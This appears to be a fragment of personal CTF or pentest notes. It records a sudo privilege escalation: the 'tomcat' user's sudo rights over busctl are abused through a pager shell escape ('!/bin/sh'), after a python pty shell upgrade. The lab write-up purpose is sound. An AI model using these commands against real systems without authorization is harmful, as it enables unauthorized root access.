- As we found before, `tomcat` has `sudo` privs over `busctl` - search for `busctl` on GTFObins ![[images/Pasted image 20260215200414.png]] - first, gain a fully functional PTY shell on target ```bash python3 -c 'import pty;pty.spawn("/bin/bash")' ``` - now enter the following commands ```bash sudo busctl --show-machine !/bin/sh ``` - worked! ![[images/Pasted image 20260215200919.png]]